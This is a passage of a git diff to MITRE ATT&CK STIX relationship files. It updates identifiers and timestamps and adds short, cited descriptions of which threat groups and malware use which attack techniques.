+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--02462741-4148-48b3-881b-1b813ce62fcc.json b/enterprise-attack/relationship/relationship--02462741-4148-48b3-881b-1b813ce62fcc.json
index de5c308f1e..5bc6b36865 100644
--- a/enterprise-attack/relationship/relationship--02462741-4148-48b3-881b-1b813ce62fcc.json
+++ b/enterprise-attack/relationship/relationship--02462741-4148-48b3-881b-1b813ce62fcc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af607e98-8ca9-43ef-89c8-50cdedb5e42b",
+    "id": "bundle--b9a35160-1ab3-4741-a4e9-166f639333aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02462741-4148-48b3-881b-1b813ce62fcc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--028c3adf-4182-4250-9642-2ce5c448f710.json b/enterprise-attack/relationship/relationship--028c3adf-4182-4250-9642-2ce5c448f710.json
new file mode 100644
index 0000000000..cb6d35a89d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--028c3adf-4182-4250-9642-2ce5c448f710.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--ce775937-cf93-47c4-b6f3-8b661c09036e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--028c3adf-4182-4250-9642-2ce5c448f710",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>DPAPI</code> module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015",
+                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
+                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--02a629d3-b970-43e8-a11b-79f35107a4c0.json b/enterprise-attack/relationship/relationship--02a629d3-b970-43e8-a11b-79f35107a4c0.json
index f8f23e7c74..b255cee52d 100644
--- a/enterprise-attack/relationship/relationship--02a629d3-b970-43e8-a11b-79f35107a4c0.json
+++ b/enterprise-attack/relationship/relationship--02a629d3-b970-43e8-a11b-79f35107a4c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5cf22733-d81c-4b20-8c2f-ccb05e0e24d4",
+    "id": "bundle--d87b2355-7303-4737-90b4-b6c2c37d307e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02a629d3-b970-43e8-a11b-79f35107a4c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader establishes persistence via a Registry Run key.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--02a7ea5c-695c-4932-9160-6e0441789670.json b/enterprise-attack/relationship/relationship--02a7ea5c-695c-4932-9160-6e0441789670.json
index ba1ef95383..c57b1fab1a 100644
--- a/enterprise-attack/relationship/relationship--02a7ea5c-695c-4932-9160-6e0441789670.json
+++ b/enterprise-attack/relationship/relationship--02a7ea5c-695c-4932-9160-6e0441789670.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68d88fae-91af-428d-b6a2-925922eee52e",
+    "id": "bundle--cb857fb1-41de-434b-a07c-72f15b26ec64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02a7ea5c-695c-4932-9160-6e0441789670",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to use pass the ticket with Kerberos for authentication.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--02b9b0b1-5e7d-42dd-ae8c-68d126a8c3cd.json b/enterprise-attack/relationship/relationship--02b9b0b1-5e7d-42dd-ae8c-68d126a8c3cd.json
new file mode 100644
index 0000000000..3a94808eba
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--02b9b0b1-5e7d-42dd-ae8c-68d126a8c3cd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b2b0d772-a176-43be-a5e3-878014a4b037",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--02b9b0b1-5e7d-42dd-ae8c-68d126a8c3cd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 uses Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d.json b/enterprise-attack/relationship/relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d.json
index 094a5e671b..b947a19d85 100644
--- a/enterprise-attack/relationship/relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d.json
+++ b/enterprise-attack/relationship/relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0bd09dbc-3a99-4846-ae37-a373c37934f4",
+    "id": "bundle--649a7931-61dc-4026-a12c-2f2f76e2c792",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483",
             "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
diff --git a/enterprise-attack/relationship/relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed.json b/enterprise-attack/relationship/relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed.json
index 1c9aae31ca..91464c0f57 100644
--- a/enterprise-attack/relationship/relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed.json
+++ b/enterprise-attack/relationship/relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e128f00a-0bc2-4eb2-9f8c-66b3c926253c",
+    "id": "bundle--456699cc-17c4-4f53-8c41-c1e9f305e795",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One HTTPBrowser variant connected to its C2 server over port 8080.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00.json b/enterprise-attack/relationship/relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00.json
index e86c403ae9..b07a856878 100644
--- a/enterprise-attack/relationship/relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00.json
+++ b/enterprise-attack/relationship/relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9787b8fd-f0d0-4c93-80c5-ef33d422a2dc",
+    "id": "bundle--224e9cc5-6c67-4a4e-af9e-1f5a2879c7e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--03303147-db81-4cb3-9368-98ee4f963c1a.json b/enterprise-attack/relationship/relationship--03303147-db81-4cb3-9368-98ee4f963c1a.json
new file mode 100644
index 0000000000..8f1ac83871
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--03303147-db81-4cb3-9368-98ee4f963c1a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--55c34d47-ad70-4880-936d-5bdf0a136814",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--03303147-db81-4cb3-9368-98ee4f963c1a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER downloads encoded payloads and decodes them on the victim.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--033d168d-8348-47ad-af48-d297dc0d1dbb.json b/enterprise-attack/relationship/relationship--033d168d-8348-47ad-af48-d297dc0d1dbb.json
index a7e2952b84..01237f2682 100644
--- a/enterprise-attack/relationship/relationship--033d168d-8348-47ad-af48-d297dc0d1dbb.json
+++ b/enterprise-attack/relationship/relationship--033d168d-8348-47ad-af48-d297dc0d1dbb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c101dcca-b032-4494-8b8a-79b8473bf88c",
+    "id": "bundle--3846b01e-9bb7-44bb-a28e-da5f788f0727",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--033d168d-8348-47ad-af48-d297dc0d1dbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can set its \"beacon\" payload to reach out to the C2 server on an arbitrary and random interval.  In addition it will break large data sets into smaller chunks for exfiltration.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--03ab3120-4c6e-4de2-982a-fe22d466f748.json b/enterprise-attack/relationship/relationship--03ab3120-4c6e-4de2-982a-fe22d466f748.json
index 044ce2e4ee..108a391e29 100644
--- a/enterprise-attack/relationship/relationship--03ab3120-4c6e-4de2-982a-fe22d466f748.json
+++ b/enterprise-attack/relationship/relationship--03ab3120-4c6e-4de2-982a-fe22d466f748.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d90989e-4e00-4800-8924-db23fc92bc6e",
+    "id": "bundle--19d5e50b-36de-499f-9e4b-77e652f9b117",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0.json b/enterprise-attack/relationship/relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0.json
new file mode 100644
index 0000000000..753af984db
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--df401db6-d1bc-4ead-abdb-504788ffb2fe",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can execute shell commands.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979.json b/enterprise-attack/relationship/relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979.json
index 760501e5a2..1b14e574a5 100644
--- a/enterprise-attack/relationship/relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979.json
+++ b/enterprise-attack/relationship/relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2281e642-1be3-44c8-b686-f73dfe8340de",
+    "id": "bundle--88d398a2-f5ac-4f58-b64c-d3b43f124f2b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--03f30a17-095b-4656-a7db-87d98628dfd8.json b/enterprise-attack/relationship/relationship--03f30a17-095b-4656-a7db-87d98628dfd8.json
index 3c60e857ed..c61dc3b43f 100644
--- a/enterprise-attack/relationship/relationship--03f30a17-095b-4656-a7db-87d98628dfd8.json
+++ b/enterprise-attack/relationship/relationship--03f30a17-095b-4656-a7db-87d98628dfd8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56671f3e-90a9-49e1-b19f-7f2a47d1b619",
+    "id": "bundle--39b47ab0-d8a8-412d-99b8-0f25887abb5c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--03f30a17-095b-4656-a7db-87d98628dfd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b",
             "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
diff --git a/enterprise-attack/relationship/relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea.json b/enterprise-attack/relationship/relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea.json
index efc627ad87..49004e77bd 100644
--- a/enterprise-attack/relationship/relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea.json
+++ b/enterprise-attack/relationship/relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b83f0b9e-a5cb-4c86-97e1-196bfdb94286",
+    "id": "bundle--212d31b5-bc91-438f-a7ba-a431d63b4f46",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses scripts to enumerate IP ranges on the victim network.menuPass has also issued the command <code>net view /domain</code> to a PlugX implant to gather information about remote systems on the network.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c.json b/enterprise-attack/relationship/relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c.json
index e8ac104a6d..1858cdfdfc 100644
--- a/enterprise-attack/relationship/relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c.json
+++ b/enterprise-attack/relationship/relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--992ca78e-89e9-47ba-9bcb-10d401eb25b0",
+    "id": "bundle--eceef143-8977-43cc-b87f-fe8c8789b101",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--04203d88-5fe1-4e63-be65-51a17705716b.json b/enterprise-attack/relationship/relationship--04203d88-5fe1-4e63-be65-51a17705716b.json
index 474004fb52..b0e22a47c6 100644
--- a/enterprise-attack/relationship/relationship--04203d88-5fe1-4e63-be65-51a17705716b.json
+++ b/enterprise-attack/relationship/relationship--04203d88-5fe1-4e63-be65-51a17705716b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7570c595-b4da-4fdc-831d-8fd0c1716d83",
+    "id": "bundle--395d7398-423e-4532-b0cb-4766134de49f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--044ad6d3-9389-4764-9b96-ad53dc98840d.json b/enterprise-attack/relationship/relationship--044ad6d3-9389-4764-9b96-ad53dc98840d.json
index fe97cff818..601fa1a8a7 100644
--- a/enterprise-attack/relationship/relationship--044ad6d3-9389-4764-9b96-ad53dc98840d.json
+++ b/enterprise-attack/relationship/relationship--044ad6d3-9389-4764-9b96-ad53dc98840d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--349f15af-33eb-4be7-a624-af65977d6ed3",
+    "id": "bundle--f9b3693e-cd62-4ae9-9a63-573a1a56bcd3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of accessing locally stored passwords on victims.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--0471088d-7b45-4fec-8946-ae5bf463286b.json b/enterprise-attack/relationship/relationship--0471088d-7b45-4fec-8946-ae5bf463286b.json
index ad338a508d..2c1dc469d0 100644
--- a/enterprise-attack/relationship/relationship--0471088d-7b45-4fec-8946-ae5bf463286b.json
+++ b/enterprise-attack/relationship/relationship--0471088d-7b45-4fec-8946-ae5bf463286b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ccaae6dc-b116-4612-a469-16ea4c9a52f5",
+    "id": "bundle--2a294bf4-5ce1-467e-a198-aa34f0831915",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can capture screenshots at a configurable interval.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548.json b/enterprise-attack/relationship/relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548.json
index 0de920b21a..6dcb667bf7 100644
--- a/enterprise-attack/relationship/relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548.json
+++ b/enterprise-attack/relationship/relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28bc8a29-fa87-47e9-a959-caf26bb907e5",
+    "id": "bundle--10be1414-e2fa-447c-977d-2c80495524ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Night Dragon is known to use software packing in its tools.",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
diff --git a/enterprise-attack/relationship/relationship--04b44241-3ff4-4d46-9847-7cb2feaba84e.json b/enterprise-attack/relationship/relationship--04b44241-3ff4-4d46-9847-7cb2feaba84e.json
new file mode 100644
index 0000000000..b2af607ce4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--04b44241-3ff4-4d46-9847-7cb2feaba84e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0b765b8c-1fdb-4694-a28d-5e882bf87172",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--04b44241-3ff4-4d46-9847-7cb2feaba84e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used brute force techniques to obtain credentials.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--04ba0d26-d931-423e-a3de-713892c0af97.json b/enterprise-attack/relationship/relationship--04ba0d26-d931-423e-a3de-713892c0af97.json
index 80ca451475..46664bb239 100644
--- a/enterprise-attack/relationship/relationship--04ba0d26-d931-423e-a3de-713892c0af97.json
+++ b/enterprise-attack/relationship/relationship--04ba0d26-d931-423e-a3de-713892c0af97.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f7e0ce1-cc13-42d6-a5b1-7b66b232f595",
+    "id": "bundle--4a75edd4-3887-4109-8f9d-61316ead3244",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97",
